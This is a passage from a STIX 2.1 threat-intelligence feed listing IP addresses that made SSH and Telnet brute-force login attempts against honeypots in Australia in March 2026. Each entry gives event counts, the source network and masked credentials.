      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.100.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T23:15:03.000Z",
      "valid_until": "2026-04-28T23:15:01.000Z"
    },
    {
      "created": "2026-03-27T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--45bf1fe4-b63f-47fd-aa5b-d07a32f139db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T23:15:03.000Z",
      "valid_until": "2026-04-28T23:15:01.000Z"
    },
    {
      "created": "2026-03-27T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): r**t. Passwords observed (masked): z*****l.",
      "id": "indicator--a2ba5af5-b864-4523-a6f9-24553ae10edf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '86.54.42.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T23:15:03.000Z",
      "valid_until": "2026-04-28T23:15:01.000Z"
    },
    {
      "created": "2026-03-28T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 329244. Organisation(s): Connect-Surf-and-Smile-Limited.",
      "id": "indicator--f676800b-d4cc-428b-90f9-1fd07ba125dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.212.40.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T00:15:20.000Z",
      "valid_until": "2026-04-29T00:15:01.000Z"
    },
    {
      "created": "2026-03-28T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--15cd916e-790b-4493-afb9-4c12163b9a80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.112.69.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T00:15:20.000Z",
      "valid_until": "2026-04-29T00:15:01.000Z"
    },
    {
      "created": "2026-03-28T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*********., Q******1, k**s.",
      "id": "indicator--df8cf7cc-c288-446b-984a-d64869fa70da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.181.27.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T00:15:20.000Z",
      "valid_until": "2026-04-29T00:15:01.000Z"
    },
    {
      "created": "2026-03-28T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--34e112a7-3155-43a5-9448-76f467cd675b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T00:15:20.000Z",
      "valid_until": "2026-04-29T00:15:01.000Z"
    },
    {
      "created": "2026-03-28T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--0098ae1c-43cb-496d-abad-d199b9b921ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.126.193.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T00:15:20.000Z",
      "valid_until": "2026-04-29T00:15:01.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): c*******6, o*****8.",
      "id": "indicator--5ab3537f-8720-4aa9-b9e5-fe341156870b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.32.240.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, h******!, r********6.",
      "id": "indicator--06837a9a-0a0e-49ff-a686-992fd3ce4374",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.10.246.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2cda8992-e153-4938-821a-4fff900a31ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.158.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): W******6, a*******9, a*******9.",
      "id": "indicator--e01f85b4-ea25-4be5-b217-1c324b002296",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.46.177.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--2f6def23-5134-4cd8-aac1-4545ace172f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.99.212.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie. Target ports: 22. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--74e817b9-9877-4bdc-96d6-318170b7242f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.249.46.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--389b7e7e-8d74-4102-8e21-2b7e74ab9661",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.99.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t. Passwords observed (masked): U******6, l*******6.",
      "id": "indicator--c05f191f-4184-4f01-90c2-89bb5ba3b401",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.99.177.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--ecac6e30-bfdd-49b0-a534-900807b7df8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--aec43a03-1552-4960-9500-70cba399247c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--155b0016-3972-48db-9719-5d5a7ae3df20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--266312ad-179e-41d6-b5ca-c7a929dfd8a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--90e5f2aa-ac27-4126-bb1d-67d72ae96b34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--1c49fbae-e91d-4161-974d-8fa650395dcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:15:05.000Z",
      "valid_until": "2026-04-29T01:15:02.000Z"
    },
    {
      "created": "2026-03-28T02:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--2cce6dee-ee62-4d6b-8f86-f952c11073a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.161.6.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T02:15:15.000Z",
      "valid_until": "2026-04-29T02:15:00.000Z"
    },
    {
      "created": "2026-03-28T02:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--03c32e0e-0929-4037-b3cd-3306158502b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.66.236.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T02:15:15.000Z",
      "valid_until": "2026-04-29T02:15:00.000Z"
    },
    {
      "created": "2026-03-28T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c4400f3e-0f1f-44cd-bd46-40529ff87285",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.83.27.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T02:15:15.000Z",
      "valid_until": "2026-04-29T02:15:00.000Z"
    },
    {
      "created": "2026-03-28T02:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 53610. Organisation(s): Metro Communications Company, Inc..",
      "id": "indicator--9564d372-d6f4-43b5-9a2d-4a64c30f9bea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.113.241.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T02:15:15.000Z",
      "valid_until": "2026-04-29T02:15:00.000Z"
    },
    {
      "created": "2026-03-28T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--af3c811d-3274-44cc-b953-b2f891f5b987",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.205.241.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T02:15:15.000Z",
      "valid_until": "2026-04-29T02:15:00.000Z"
    },
    {
      "created": "2026-03-28T02:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--d223a855-3759-4bf0-9efb-9f7d79475e91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '90.119.113.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T02:15:15.000Z",
      "valid_until": "2026-04-29T02:15:00.000Z"
    },
    {
      "created": "2026-03-28T03:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131627. Organisation(s): Peicity Digital Cable Television., LTD.",
      "id": "indicator--8e0f4ce5-a531-498c-937d-70d08d8fd5fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T03:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.116.204.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:15:05.000Z",
      "valid_until": "2026-04-29T03:15:03.000Z"
    },
    {
      "created": "2026-03-28T03:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--2674a5d0-2cbf-4d22-abe3-226b64247977",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T03:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.121.248.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:15:05.000Z",
      "valid_until": "2026-04-29T03:15:03.000Z"
    },
    {
      "created": "2026-03-28T03:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213230. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t. Passwords observed (masked): *.",
      "id": "indicator--652485e9-a038-4984-83e4-5a10259c2a43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T03:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.161.233.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:15:05.000Z",
      "valid_until": "2026-04-29T03:15:03.000Z"
    },
    {
      "created": "2026-03-28T03:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 210218. Organisation(s): Open Fiber S.P.A..",
      "id": "indicator--ef70aa25-795e-400d-80be-34b27abdaf43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T03:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.120.235.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:15:05.000Z",
      "valid_until": "2026-04-29T03:15:03.000Z"
    },
    {
      "created": "2026-03-28T04:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 146956. Organisation(s): Hamid Electronics and Automobiles. Usernames observed (masked): r**t. Passwords observed (masked): A******$.",
      "id": "indicator--ac350286-2747-48c1-8daf-70d60ddd00a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.172.28.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T04:15:03.000Z",
      "valid_until": "2026-04-29T04:15:01.000Z"
    },
    {
      "created": "2026-03-28T04:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--1eeb59f3-4f9e-4dd5-a110-b7fac9d327b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.222.7.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T04:15:03.000Z",
      "valid_until": "2026-04-29T04:15:01.000Z"
    },
    {
      "created": "2026-03-28T04:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--c960e07b-4bc8-43aa-b215-8f713e3d1d3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.29.2.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T04:15:03.000Z",
      "valid_until": "2026-04-29T04:15:01.000Z"
    },
    {
      "created": "2026-03-28T04:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--fc280feb-f7ac-4669-b400-b58b1b5dc32a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T04:15:03.000Z",
      "valid_until": "2026-04-29T04:15:01.000Z"
    },
    {
      "created": "2026-03-28T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**********c.",
      "id": "indicator--4e8b6c57-51a0-4e3d-b98d-d30285f7000f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-28T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
